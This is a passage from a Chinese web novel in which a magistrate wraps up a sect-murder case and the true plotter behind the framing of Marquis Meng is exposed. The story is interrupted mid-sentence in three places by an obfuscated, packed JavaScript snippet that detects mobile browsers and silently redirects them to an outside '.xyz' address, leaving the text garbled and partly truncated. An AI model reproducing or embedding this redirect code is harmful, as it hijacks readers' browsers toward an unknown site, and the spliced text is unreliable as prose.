七彩、青叶有些吃惊,云水谣道:“你们的情绪大起大落,此刻必定十分虚弱,所以就无需跪着回话了。你们坐下,将之前发生的事如实说一遍。” 七彩、青叶有些感激地坐下,将前事说了一遍,跟闵暗雪所说的一致。 说完后,云水谣还让人给她们喝水、吃点心,以免她们的身体支撑不住。 云水谣又让闵暗雪解释了那些预言是如何做到的,两个丫环这才明白,所有的预言都是人为。 不过,关于闵暗雪是如何提前知道安正则会眼盲、百尺楼会覆灭,她只是含糊其辞,说是听母亲这样说。而她母亲闵红姑,自然也不肯详加解释。 云水谣问她们:“一开始天神教向你们传教时,你们并未相信。为何后来闵暗雪编出了一套仙女转世、气运之女的说法,你们就信了呢?” 七彩叹息道:“也许……是诱惑力太大了吧。或者说,这个故事是我和青叶唯一的希望了。我们都是家生子,生下来就是奴婢。将来的结局,要么给姑爷做妾,生的孩子倒是高贵了,但我们仍是低贱之躯;要么嫁给府里的管事,成为仆妇,生下的孩子继续当奴才。这两种结局,对我们来说,都是没有希望、很无趣的。 云大人,假如你处在我们的位置,忽然有人跟你说,其实你并不是天生的丫环,你是天上的仙女,下凡历劫的。历完劫,便能回天上做仙女。平日里高高在上的小姐,其实是反派,是魔女转世,是她们压制住了你的气运。只要她们一死,你的气运无可阻挡,便能大富大贵,逆天改命。 这样的话,您愿不愿意去相信?更何况,还有那么多预言为证。现在我们已经知道,所有的预言都是人为,但当时我们并不知晓,只会以为闵暗雪是神人,所说的一切都会应验。那么,我们自然坚定地认为,我们不是普通人,将来前途一片光明。” 112.分赃 云水谣忽然就理解了。这个虚构的故事,对两个丫环来说,诱惑力是非常大的,几乎是她们的精神支柱。 一个活在泥泞里的人,知道自己一辈子都会在泥泞里,这时候忽然有人伸出一根棍子去拉他,就算他不知道棍子后面是什么,也会坚定地抓住那根棍子。可她们没想到,就连这根棍子也是假的,是镜花水月,是一场骗局。 不能怪她们轻信别人,只能说编故事的人太厉害了,精准抓住了丫环的内心需求。 青叶忽然哭道:“一切都是假的……我害死了两位小姐……她们明明对我很好的……” 七彩也是黯然神伤。 当谎言褪去,她们不免又想到,之前跟自己的小姐相处得不错。如今再想回到那时候,却是不能了。但世上是没有后悔药的。 云水谣等她们俩心情平复了,道:“既然两边的说辞无误,四位小姐死亡一案可以先结案了。闵暗雪,关于这桩案子的供状,就由你自己来写吧。包括你们如何策划着杀死雍州城五个待选秀女,如何跟褚娇娇合作从而放弃杀她,如何欺骗七彩、青叶两个丫头,让她们成为你们的帮凶。” 闵暗雪道:“是。” 云水谣让小吏给她纸笔,让她详细写下自己的罪状。 写了一会,闵暗雪忽然问道:“‘褚’字怎么写?” 云水谣对柳依依道:“你去教她。” 柳依依道:“是。” 柳依依走到闵暗雪身边,重新拿了一张纸,给她示范“褚”字的写法。 闵暗雪依样画葫芦,写好“褚”字之后,接着往下写。 没过多久,她又问柳依依:“‘覆灭’的‘覆’字怎么写?” 柳依依又教她。 她这一份供状写得磕磕绊绊的,好多字不会写。还好柳依依文化水平较高,都能教她。 好不容易写完了,云水谣让闵暗雪签字画押,然后将这份供状拿过来看。 闵暗雪的字写得并不漂亮,不过倒也有自己的风格,应该是练过字,但练得不多。 云水谣让人将这份供状收起来装好。至于七彩、青叶二人的供状,则由小吏书写,七彩和青叶只需要画押便好。 这些供状是重要物证,要呈交大理寺。几名死者的死因虽然清楚了,但却不能在雍州这边结案,因为此案还牵涉到天神教及其幕后主子。 云水谣忽然想到一件事。她把从闵红姑家里搜出来的那些书籍拿过来一看,发现里面的字迹十分工整,就像印刷体一般,可见写这些书籍的人书法很不错。 当然,这几本书籍绝不可能是闵暗雪所写,笔迹差太多了。 云水谣问闵红姑:“这几本天神的书籍,是你所写吗?” 闵红姑道:“不是。天神的故事是我编的,但把故事写下来的是我的一个下属,她擅长书法,写出来的文字就像印刷的一般。不过她现在已经死了。” 云水谣问道:“这些原版书籍,你一直留在身边,其他信众要看书,就只能抄录?” “是的。” “到如今,你还坚持说指使你的人就是平乐侯孟离尘?” “是的,因为这就是事实。” 孟荀恨恨地盯着闵红姑:“别叫我查出你真正的主子是谁,否则要你们好看。” 闵红姑却全然不惧,冷静回应:“孟大人,你父亲牵涉进这桩案子,根据亲属回避原则,你是不能参与这桩案子的,必须回避。按理说,你此刻站在这里,都算违法。只是云司马、杜长史是你的亲朋好友,不会治你的罪罢了。可见官场黑暗,官官相护。” 孟荀气笑了:“你懂的还不少啊,那这个官让你来当吧!是,论理我是要回避,但也轮不到你来审判我。我此刻走了,便不算违法,看你能猖狂到几时!” 孟荀准备离开,云水谣却拦住她:“你确实不能过问这桩案子,但没说你不能在雍州待啊。我身为你的朋友,让你来雍州小住几日怎么了?明日我还要请你去勾栏看戏呢。” 孟荀回过神来,笑道:“没错,我是来游玩的,我就不走,你能奈我何?” “现在你先去我的府第住着,你也该休息一下了。” 孟荀点点头,带着自己的侍卫、丫环们离开了。临走前,她拉着云水谣的手:“阿谣,一定要还我爹清白啊。” 云水谣道:“你放心。” 这时,有衙役来报:“大人,武陵侯府派人来问,何时放他们大小姐回家。” 云水谣道:“你去回复他们,就说褚娇娇牵涉进天神教一案,将要移交大理寺处理,没那么快放人,让他们回去等着。” “是。” 又过了一阵,已是三更时分。云水谣熬夜太久,也不困了,跟杜羽两人随便吃些东西,喝着茶,等着外派出去的衙役回来。 没过多久,有一队衙役回来了,手里拿着一个用黄布包裹的物件,道:“大人,天神教的账本已找到,确实藏在那棵大银杏树里。” 云水谣接过来,解开包裹,拿出账本,跟杜羽一起翻看。 这个账本每季度统计一次,详细说明了这一季度的所得和分配情况。 根据上面的记载,确实是将收入的七成给了平乐侯孟家,剩下的三成由闵红姑等人分。 不过短短两年,天神教所敛财富就超过了十万两。 闵红姑道:“两位大人,看了账本,你们应该相信我说的话了吧?” 杜羽道:“账本上的字可以随便写,还需看到物证才行。便是真的见到银子在孟家,孟侯也未必有罪,还存在被人构陷的可能。除了这个账本,你可还有其他证据?” “我每次给孟侯分账,都是在天盛钱庄汇款。天盛钱庄在全国各地都有分号,可以异地取款。我会将钱寄给一个叫孟七的人,由孟七取出钱,交给孟侯。孟七就是孟侯的心腹家仆。” 杜羽对身边的护卫道:“去天盛钱庄查一下此事是否属实。” 护卫道:“大人,现在钱庄还没开门,是否过几个时辰再去?” “不用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14694115|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你们带上官府的文书,直接去钱庄掌柜和老板的家里,把他们叫醒,就说有要事要查证,让他们直接去钱庄。” “是。” 过了一会,在闵红姑家留守的衙役们也回来了,带回了几个黑衣人,说是天神教的下属。 这些下属去找自家教主的时候,没想到在那里等候的竟然是官差。两边发生了交战,各有死伤。一共俘虏了五名下属,死了几个,还有几个差役死了,尸体来不及运回。 云水谣审问了这些下属,发现他们平时都是奉命行事,知道的事情并不多,已经没法提供什么新信息了。 于是,云水谣问他们:“你们是何人派到闵红姑身边的?” 他们都答道:“是平乐侯孟离尘。” 听到这样的回答,云水谣眉头紧皱,心情也很不好。 孟荀的父亲她是见过的,平乐侯并不是一个很传统的父亲,而是性子跳脱,言语诙谐,像个顽童。因此,他把孟荀也养得活泼可爱,天不怕地不怕。 以云水谣的认知来看,平乐侯是个好人,绝不可能做出这样的事。 然而,之前已经有闵红姑作为人证、平乐侯雕像和信物作为物证,现在抓回来的这些下属又指证平乐侯,无意是让平乐侯的嫌疑更深。 杜羽却冷静许多,问那些下属:“你们说自己是平乐侯派到闵红姑身边的,可有证据?” 那些下属掀起袖子,露出手臂上的蓝色银杏刺青,道:“平乐侯府的暗卫,手臂上都有蓝色银杏刺青,大人检查便是。” 杜羽道:“任何人都可以在手臂上纹上这样的刺青,然后污蔑平乐侯府。更何况,你们纹错了。平乐侯府的暗卫,手臂上是四片叶子,而不是三片。” 这些下属面面相觑,有些慌张。其中一个下属说道:“不可能,当初明明打听清楚了,就是三片叶子……” 杜羽及时捕捉到了他话里的漏洞:“打听?向谁打听?若你们真是平乐侯府的暗卫,在成为暗卫那一天就会被刺上刺青了,你们又何须打听?” 这些暗卫不说话了,似乎打定了主意要隐瞒到底。 杜羽知道,像这种人,严刑拷问是没用的,他们宁可死,也不会说出幕后的主子。反正人已经抓到了,一并移交大理寺便可。 而云水谣听见这些黑衣人的话,心里也有数了:他们一定是受别人指使,污蔑孟荀的父亲的。那么,云水谣就不用太过担心了。 又等了一个时辰左右,去天盛钱庄调查的护卫们也回来了。他们禀告道:“在天盛钱庄的记录里,确实经常有不同的人给一个叫孟七的人汇款。汇款人的名字应该都是假名。” 这一线索,对孟家很不利。 云水谣道:“有没有可能在被汇款人名字那里做手脚?” 杜羽道:“汇款者可以使用假名,但接收钱的账户,则必须使用真名。也就是说,天神教确实给一个叫孟七的人汇款了,但是孟七是否还忠于孟府,有待查证。我马上飞鸽传书给孟侯,让他查查孟七。” 113.押送 平乐侯孟离尘是杜羽的姨父,杜羽要跟他联络也很方便。 调查到这里,云水谣等人能做的都做了,剩下的就是把所有的犯人、物证、供状等物移交到大理寺。 云水谣问道:“杜长史,是现在把犯人押解上京,还是过几天?” 杜羽道:“不如就现在吧,以免夜长梦多。需注意不能让相关人等在路上死了,所以押送之人必须机警、武艺高强,且经验丰富。本来这样的大案,应该先奏请朝廷,让皇上派人来押解犯人,但一来一回太耗时间了,等到了京城,再补上流程所需文件便可。” 云水谣道:“我看,元景佑便是合适的押送人选。他武功高强,且身边也有暗卫和一批身手好的侍卫。” 杜羽道:“也好,我也把我的暗卫派一部分给他。” 说定了之后,云水谣派衙役去把睡觉的元景佑叫起来,跟他说了这件事。 元景佑虽然只睡了一小会,但精力旺盛,并不见疲态,点头道:“大人放心,我一定平安将人移送到大理寺。” 云水谣和杜羽准备好了囚车、士兵、暗卫、差役等,元景佑将一干犯人关进囚车。 武陵侯千金褚娇娇不愿意坐囚车,闹着要坐马车。 云水谣跟杜羽商议道:“褚娇娇在这件事中只是从犯,并且她一向娇生惯养,如果真的一路坐囚车上京,只怕会生病甚至死去。倒不如让她舒服些,以免路上出了什么事,景佑要承担罪责。” 虽然褚娇娇也有害人之心,但跟闵红姑及其幕后主子比起来,她已经算是个小角色了。可能皇上会念在她的身份上,对她从宽处理。那么,云水谣这边也不能对她太过为难。 杜羽点头:“也好,给她一辆简陋的马车吧,但双脚要戴上镣铐。” 褚娇娇有了马车,还想要丫环伺候,云水谣没惯着她,直接拿块布塞住她的嘴,让她没法再吵。 押解的队伍出发,云水谣也可以休息一下了。 事情还有一些未曾查明,但已经不是她能接触到的了,她也只能等待最后的结果。 她疲惫地回到住所,孟荀仍是像以前一样,睡在她的床上。 云水谣也在床的外侧和衣而睡。 这一觉就睡到了第二天黄昏时分。云水谣和孟荀在差不多的时间醒来,都觉得恢复过来了。 云水谣叫来丫环:“你们可曾做饭?” 丫环道:“杜长史送来一些饭食,一直放在厨房保温着,说是等两位大人醒了,便可以吃了。” “太好了。” 云水谣和孟荀随便梳洗了一下,便来到饭桌上,丫环们已经将饭菜摆好。 今日的饭食比较丰盛,有虫草花羊肚菌炖鸡汤、马蹄糕、绿茶饼、 翡翠鱼圆、咕咾肉、水果拼盘、七彩面、烤羊排等等,正好两人都饿得很了,大快朵颐,几乎都吃光了。 饭毕,丫环又端上一壶茶,道:“这是杜长史送的金骏眉,请两位大人喝一些吧,暖暖胃。” 云水谣一边喝茶,一边说道:“杜羽倒挺懂事。” 正说着,杜羽走了进来,脸上的表情似笑非笑。云水谣尴尬得差点钻到桌子底下去,被孟荀硬拽了出来。 杜羽道:“我方才听见有人直呼我的名字。” 云水谣忙道:“不是我。” 孟荀捂着嘴笑,不停地看云水谣和杜羽,仿佛他们两人脸上有花似的。 杜羽顺势坐在了云水谣旁边,道:“你们都吃完了?我本来想跟你们一起吃的。” 孟荀道:“你怎么不早说?早说的话,我们连这些剩骨头都吃了,一点都不会留给你的。” 杜羽无奈地笑了笑。 云水谣把看起来还能吃的东西摆在杜羽面前,道:“鸡汤还剩了一碗,水果拼盘还剩了两颗葡萄,请杜长史享用吧,别客气。” 杜羽道:“这么多东西,我怕是要撑着了。” 孟荀便倒了一杯茶给他:“要是撑着了,喝点茶消消食。” 杜羽用一种一言难尽的目光看着云水谣和孟荀,云水谣和孟荀只顾着笑。 屋内外充满了快活的空气,连几个丫环都偷偷捂嘴笑。 杜羽让人盛了点剩饭,就着鸡汤吃了,勉强吃了个半饱,也就不吃了。 云水谣方才正经道:“杜长史,可要叫丫环们另外给你做一些饭菜?” 杜羽道:“不用了,我每次太累时,吃不下太多东西。” 说着,他喝了两杯茶,便要去忙公务了。临走时,他往云水谣手里塞了个什么东西。 云水谣拿出来一看,是一个香囊。她闻了闻,里面是一些疏肝解郁的药材。云水谣最近总是熬夜,倒正是需要这样一个香囊,便挂在了腰间。 孟荀道:“我怎么没有?” 杜羽回头道:“你腰间不是挂着一个吗?” 孟荀腰间倒确实有个差不多的香囊,是她前几日买的,里面的药材也是疏肝解郁的,气味跟给云水谣的香囊差不多。所以杜羽大概认为孟荀不需要第二个了。 孟荀哼了一声,杜羽大笑着走了。 刚才吃饭时,云水谣已经跟孟荀说过,那些犯人已经露出破绽,孟荀的父亲肯定不是幕后主使,只需要大理寺再加以审理,一定能还她父亲清白,是以孟荀的心情也轻松了许多。 她晃着云水谣的胳膊,道:“你不是说要请我去勾栏看戏吗?” “对,差点忘了这事。我跟你说,上次我去勾栏,见到一个女话本先生,她的话本很特别。今日她若在场,我就把她引见给你,我想你也会喜欢的。” “是吗?那我倒要见见。” 云水谣和孟荀结伴去了上次的勾栏。可巧,这会戏台上在演的戏是《还魂草》,云水谣上回看过。 云水谣向孟荀介绍道:“这出《还魂草》,便是那女话本先生秦婉君的作品。你在这儿看着,我去寻她。” 云水谣问勾栏老板:“秦婉君在吗?” 老板道:“您来得不巧,秦姑娘昨日已经走了。” “走了?何时回来?” “这就不知道了,她是直接离开了,没说要回来。” “这样啊……” 云水谣有些失落。她还挺欣赏秦婉君的才华 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14703986|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,本以为可以长久做朋友,没想到只有一面之缘。 老板道:“虽然秦姑娘走了,但她的戏还是正常演出,姑娘有空可以常来。” 云水谣问道:“她之前说在写新戏,写好了没有?” “还没呢,她既然走了,新戏自然不会在这里演出了,可能要去别的勾栏看了。只是不知道她去了哪里,否则便可第一时间看见了。说实话,我也爱看她写的戏。” “那她以前的戏有话本留下吗?我先拿几本话本看。” “有,等我去拿。” 老板拿了很多本话本过来,递给云水谣:“姑娘,你只管拿回家看,看完再还回来就行。不过,这话本虽精彩,演出来才更生动。您看了话本之后,还是可以来我们这儿看演出。” “多谢老板,我下次一定来。” 云水谣带着这些话本,走回孟荀身边,跟孟荀说秦婉君离开的事。 孟荀正看得津津有味,随口说道:“走就走吧,能看戏就行,有缘自会相逢。这《还魂草》真有意思,我从未见过这样的戏。” 看完之后,她们两人就离开了勾栏。 天色已晚,孟荀又在云水谣这里歇了一晚,等天蒙蒙亮时就起床赶回卫县。 她是卫县县令,不能在外地久留,因此匆匆跟云水谣告别几句便走了。 云水谣接着处理政务,但心里始终记挂着之前的案子。 她问杜羽:“不知孟荀的父亲在京城会不会继续被构陷?” 杜羽道:“没那么容易。我已经飞鸽传书给他,让他彻查自己的仆人孟七,并把在这里发生的事情都说了,让他小心防备。他也是久经官场的,应该不会那么容易被人套进去。” “我回想了一下闵红姑和闵暗雪的模样,闵红姑虽然毁容了,但依稀可以看出,其容貌框架跟闵暗雪相似,她们应该是亲母女。只是不知道闵暗雪的父亲是谁。” “她的父亲可以是任何人,但不可能是孟侯。这点自信我还是有的。他虽性子活跃,但绝不会在外面乱来。但有一点可以肯定,就是闵红姑一定见过年轻时的孟侯,否则不可能雕刻得那么像。所以,她年轻时暗恋过我姨父的事可能是真的。但之后发生了什么,就只有她自己知道了。” 大约七八天后,衙门里忽然飞进四只鸽子。这些鸽子长得很特别,脖子处的羽毛是绿色的,非常漂亮。而且,它们脚上都绑着信。 它们见到生人便躲开,见到杜羽便飞了过去。 杜羽一伸手,将它们脚上的信都拿了下来,然后将它们放飞。 云水谣问道:“这些鸽子是哪里来的?” “是我姨父孟侯养的。他养了很多种鸽子,有不同的用途,报平安时用的就是这种绿颈鸽,看来事情已经解决了。可能是一封信写不下,所以他写成了四封,一起送过来。” 杜羽将这些信纸展开,上面密密麻麻写满了字。杜羽将它们按顺序排列好,平乐侯孟离尘要说的话便都在上面了。 杜羽看完后,长舒一口气,道:“原来如此。” 云水谣问道:“发生什么了?” 114.套话 “你自己看吧。” 杜羽将几封信纸递给她。 云水谣看了之后,才明白这些天京城到底发生了什么。 平乐侯孟离尘接到杜羽的飞鸽传书后,得知自己被构陷了,便悄悄观察自己的仆人孟七。 他发现,孟七竟跟欧阳家的人有勾结。 欧阳家是定国公府,也是福王的外祖家。福王是继后之子,而继后欧阳氏,便出身定国公府,是家主欧阳涵之女。 而孟七所勾结之人,名叫耿忠,是欧阳家的三爷欧阳世杰的侍卫长。孟七和耿忠所说的话中,也多次提到天神教。 欧阳世杰便是继后的三兄、福王的三舅。 天神教大部分的钱都汇款到了孟七的账户,那么孟七应该是把这些钱给欧阳世杰了。 所以,很有可能欧阳世杰才是真正指挥天神教之人。当然,他是福王的舅舅,可能也只是为福王办事。 平乐侯孟离尘发现这点后,并未声张,继续调查。 没过多久,欧阳世杰的侍卫长耿忠在一间茶楼偷偷见了一个黑衣人,询问那黑衣人有没有救出闵红姑母女。 黑衣人答道:“押送犯人的官军防守严密,且领头的是镇国公世子元景佑,他武功高强,为人机警,我们没有找到机会救闵夫人和暗雪小姐。” 耿忠说道:“三爷吩咐了,如果救不出她们,就杀了她们灭口,还要把其他犯人一起灭口。” 黑衣人道:“押送的官军太多,我们暂时没办法灭口。” 耿忠道:“押送犯人的队伍马上就要进京了,如果不尽快灭口,到时候牵扯出三爷和福王来,不是闹着玩的。你们再去跟踪押送队伍,尽量找机会杀掉所有犯人。” 那黑衣人点了点头,便离开了。 而这一场景,都被平乐侯孟离尘的暗卫看见。暗卫转告了孟离尘,孟离尘推测,闵红姑很有可能是欧阳世杰的情人,而闵暗雪便是欧阳世杰的私生女,所以耿忠和那黑衣人才会称她们母女为“闵夫人”和“暗雪小姐”。 欧阳世杰如此关心闵氏母女,还叫那黑衣人去救出她们,足以证明这对母女跟他关系匪浅。而他是个狠心的人,知道救不出闵氏母女,便想让她们和其他犯人一起被灭口。 还好欧阳家的杀手没找到机会下手,那些犯人都活着。 而耿忠所说的话足以说明,如果闵红姑等人平安到京城,可能会说出一些对欧阳家、对福王不利的话。那么,福王和欧阳家是天神教的幕后主使,也就差不多可以确定了。就算欧阳家其他人没牵涉进这件事,欧阳世杰是一定跟这案子有关的。 平乐侯孟离尘年轻时确实结识过闵红姑,闵红姑也想要嫁给他,但他拒绝了。那之后,他就不知道闵红姑去了哪里、发生了什么。 看来,他离开闵红姑后,闵红姑不知怎么的认识了欧阳世杰,有了露水情缘,还生下了女儿闵暗雪。 如今,他们却想把这桩事栽在孟离尘头上。孟离尘自然不能坐以待毙,他暗中送信给镇国公元祁,让元祁向皇上请求去接应雍州押送犯人的队伍。同时,孟离尘还想了一个计策,让元祁帮忙执行。 镇国公元祁跟孟离尘有私交,便答应了。他向皇帝请求去接应雍州的队伍,皇帝同意了。 于是,元祁便带领一队侍卫,去接应元景佑。元景佑已经走了三分之二的路程,见父亲到来,十分高兴,便跟父亲一起押送犯人。 押送的官差变多了,路上自然也就更安全。元景佑提起这些天好几次遭到劫杀的事,元祁说,幕后黑手马上就要浮出水面了,平乐侯孟离尘让他们帮忙做一件事,完成之后,闵红姑一定会主动交代真相。 元祁将孟离尘的计策说了,元景佑便暗中执行。 元景佑来到闵暗雪的囚车前,故意说闵暗雪看着有些疲惫,可以将她放出来休息片刻,但需要戴上手铐脚镣。 闵暗雪不疑有他,向元景佑道谢,一旁的闵红姑也有些感激。 元景佑将闵暗雪带到较远的地方,这时元祁突然从背后出现,将闵暗雪打晕。他又点了闵暗雪的一些穴道,使闵暗雪呼吸微弱,面色发暗,几乎看不出她还活着。 他们将动物的血涂在闵暗雪身上,然后将闵暗雪带回押送队伍旁边,谎称闵暗雪刚才遇袭,已经死了,但袭击她的人也已经抓到。 接着,元景佑带来一个黑衣人,询问他为何要袭击闵暗雪。这黑衣人,自然是元祁的人假扮的。 黑衣人一开始不肯说,被打了之后,才说是欧阳世杰派他来的,不仅要杀了闵暗雪,还要杀了闵红姑。 闵红姑以为女儿已死,非常伤心、愤怒,直接说道:“欧阳世杰,枉我为你卖命十几年,为你生下女儿,没想到你为了自己,竟连女儿也能杀死。” 元景佑便趁机问闵红姑为何说这样的话。 闵红姑见自己已经说出一部分真相,抵赖不得,而且女儿已死,她也万念俱灰,因此便如实交代。 原来闵红姑年轻时自负美貌,一心要嫁个贵族,哪怕做妾也行。 她先认识的是平乐侯孟离尘,但是孟离尘对她无意,多次拒绝她。后来还为了躲她,直接回了京城的家。 没想到,闵红姑竟偷偷找到京城去,想再见孟离尘一面。 她到处打听孟离尘住在哪里,还没打听出来,就被另一个世家公子——欧阳世杰看见了。 欧阳世杰为人风流,喜爱美女。他见闵红姑容貌出众,又孤身一人,便动了心思。 他刻意结识闵红姑,还表明自己贵族子弟的身份,并说自己对她一见钟情。闵红姑本也想攀附权贵,并不是非要孟离尘不可。她见有另一个世家公子看上了她,自然马上就投入了欧阳世杰的怀抱。 她们的关系维持了一个多月,欧阳世杰用许多花言巧语哄着她,她也满心以为欧阳世杰会纳她为妾。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14717782|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 没想到,她怀孕之后,欧阳世杰却并不高兴。他本意只想跟闵红姑玩玩,没想跟她生孩子。他想让闵红姑把孩子打了,他再给闵红姑一笔钱,让她离开京城。 但闵红姑不同意,大吵大闹,不仅不愿意打掉孩子,还要嫁给欧阳世杰。 欧阳世杰不同意娶她,说她想生下孩子可以,但只能养在外面。 闵红姑觉得,只要欧阳世杰同意她生下孩子,她将来总有嫁进欧阳家的可能。因此也就暂时不闹了,安心养胎。 谁知,某一天,她喝了水之后,就晕了过去。等她醒来时,却发现脸上很疼,还有一股很浓的血腥味。她非常惊慌,赶紧照镜子,发现自己的脸被刀划得一道一道的,容貌彻底毁了。 她既害怕,又伤心,只能自己先包扎一下。 这时,欧阳世杰出现了,见到她这副模样,十分伤心,对她说道:“是我夫人知道了你的存在,便在你茶水中下药,让你昏迷,然后派人毁了你的容。还好她不知道你有孕,否则连我们的孩子也会除掉。红姑,虽然你毁容了,但你不用担心,我会负责的。我会养你和孩子一辈子。” 闵红姑本来惊慌失措,但听见欧阳世杰这么说,自然十分感激他,从此对他百依百顺。 欧阳世杰说家有悍妻,如果把闵红姑娶进门,她会被正妻欺负,因此只能让她住在外面。闵红姑同意了。 十几年来,欧阳世杰让她住哪里,她就住哪里,让她搬家,她也就搬家。欧阳世杰给的钱不少,所以她在养活自己和女儿的同时,还能收养一个孩子天明。 而这些年来,欧阳世杰也会让她做一些事,大部分都是小事,唯一的大事是组建天神教。 而组建天神教,其实主要目的也不是赚钱。诚如杜羽猜测的那样,天神教的建立,就是为了最后的覆灭做准备。只有天神教成为一个为祸一方的组织,才会被官府所剿灭。 而一旦剿灭,闵红姑等人便可以把一切事情都栽赃到平乐侯孟离尘身上。她们杀死待选太子侧妃的秀女,把事情闹大,既影响太子名声,又影响太子和世家的关系。同时,失去女儿的几位勋爵会过于伤心,很有可能身体不再健康,没法继续为朝廷效力。那么,他们的职位自然就可以由福王、欧阳家一系的官员所补上,可谓是一举数得。 而这个阴谋中最重要的,便是扳倒平乐侯孟离尘。孟离尘不仅支持太子,且是易水孟氏嫡系子弟,是孟氏最大的靠山。一旦孟离尘被之罪,孟氏、太子都会被大大削弱。 闵红姑把真相说得差不多了,元祁、元景佑父子让她当场写下供状并画押。 这时,元祁才解开闵暗雪的穴道,使她醒来。闵红姑发现女儿没死,刚才之事不过是元氏父子在演戏,在骗她说出真相。 她虽然生气,但也无可奈何了。 一干犯人被押送到大理寺后,根据已有的证据,可以判断出欧阳世杰才是幕后主使。 115.对质 大理寺官员传欧阳世杰来对质,可欧阳世杰却否认这一切。他说自己年轻时确实跟闵红姑有过露水情缘,但是闵红姑并未怀孕。而且闵红姑是自己离开他的,是在某一天突然就走了,从那以后他再也没有闵红姑的消息。 也就是说,这么多年,欧阳世杰并未跟闵红姑有联系,而闵暗雪自然不是他的女儿,他更加不知道天神教的事情。 见欧阳世杰撇清一切,闵红姑很愤怒,拿出更多证据,还说他身边的侍卫长耿忠偷走了平乐侯孟离尘的一些物件,让闵红姑收着,以方便闵红姑栽赃孟离尘。 大理寺官员又传欧阳世杰的侍卫长耿忠过来,耿忠交代了一切,所说内容跟闵红姑相似。他还说,当年欧阳世杰跟闵红姑暗中相会,都是他在外面望风。所以闵红姑怀孕之事,他也知道。 欧阳世杰大为愤怒,当场就想杀了耿忠,被官差们拦下。 他又大喊冤枉,但这么多证据摆在面前,他也无从辩起。 据他的侍卫长所言,此事似乎还跟福王有牵扯。大理寺官员询问皇帝是否继续调查下去,但皇帝说,此事到此为止。 大理寺官员也明白了皇帝的意思,他是不想把火烧到福王身上。 福王的舅舅犯事,很难说福王完全不知,或者完全没掺和。甚至福王有可能是真正的幕后主使。 但是,皇帝并不希望旁人这么想。他希望福王仍是那个完美的形象,此案只追究到欧阳世杰为止就可以了。 闵红姑并不认识福王,她一直只跟欧阳世杰单线联系,也认为欧阳世杰便是最大的主谋。所以,如果真的要牵扯到福王身上,其实证据也不足。 此案就此结案了,包括闵红姑、闵暗雪、天明在内的天神教成员,被判处死刑。欧阳世杰虽是幕后主使,但念在其为官有功,欧阳家亦是功勋卓著,只是削去其职位、爵位,流放西北。欧阳家罚款十万两,充入国库。 定国公欧阳涵,教子不善,本该重罚,但念其年迈,且是国丈,只免去其尚书仆射的官职,以定国公的身份在家养老。 定国公已经七十岁了,这一退,是没有起复的可能了。爵位虽在,但不当官了,他对朝政的影响力就会弱很多,他在旁人心中的地位也会削弱。 福王因跟三舅欧阳世杰过从甚密,被皇帝斥责一顿,罚他禁足三个月,可谓是高高拿起、轻轻放下了。 据说,欧阳世杰被流放的那一天,还在大呼冤枉,被他爹定国公狠狠打了一顿。 武陵侯千金褚娇娇也牵涉进天神教中,念在武陵侯于国有功,且褚娇娇并非首恶,只是从犯,因此只将褚娇娇贬为庶人,罚款五千两,仍发还本家居住。贬武陵侯为思过伯,其满门女眷,永久剥夺选秀资格。 也就是说,以后褚娇娇仍然可以住在自己家,但不再是伯府千金,而只是一介平民。在家里,她父母若是愿意,还是可以给她较好的待遇。但是在外面,她不能以勋爵千金的身份跟人交际。将来成亲,她也不能嫁入高门,只能像其他普通女孩那样,选一门再普通不过的亲事。 而且,她主动加入天神教害人的事已经传开了,名声已坏,以后还能不能有姻缘都未可知。她的身份可谓是十分尴尬,活着难受,死了没必要,只怕以后连门也不敢出。 而她父亲本是武陵侯,受她连累,贬为伯爵,封号还是带有贬低意味的“思过伯”,以便让他时时刻刻都反省自己的过错。这样的处置,表面上宽大处理,实则打脸,思过伯只怕以后都不好意思跟人交际了,他们这一门勋爵,只怕会慢慢地淡出众人的视线。 思过伯被降爵一等,且满门女眷永不能选秀,可以说他们全家都被褚娇娇一人给害惨了。褚娇娇此番回家之后,只怕家人不会再善待于她。 不过,这就是她自己的事了,也是她应得的。 由于秀女死了四名,不吉利,此次为太子选侧妃的事就此搁置,各地秀女原路返回,自行婚嫁。 诚安伯府、曲离侯府痛失爱女,皇帝下旨抚慰,并赐两家良田百亩、黄金千两。四位死去的千金,准许以县主的规格下葬,一应花费由欧阳家出。皇帝特派宗正寺少卿来主持四位死者的葬礼,会使葬礼各项仪式都完备,没有错漏。 同时,两家的长子皆封为子爵,享有封地,剩下的女儿当中皆选一人封为乡君。 乡君也是女性爵位之一,是最末一级,一般只封宗室女,或是国公嫡长女。诚安伯府、曲离侯府的女儿能被封为乡君,已经是殊荣了。将来谈婚论嫁,也大有好处。 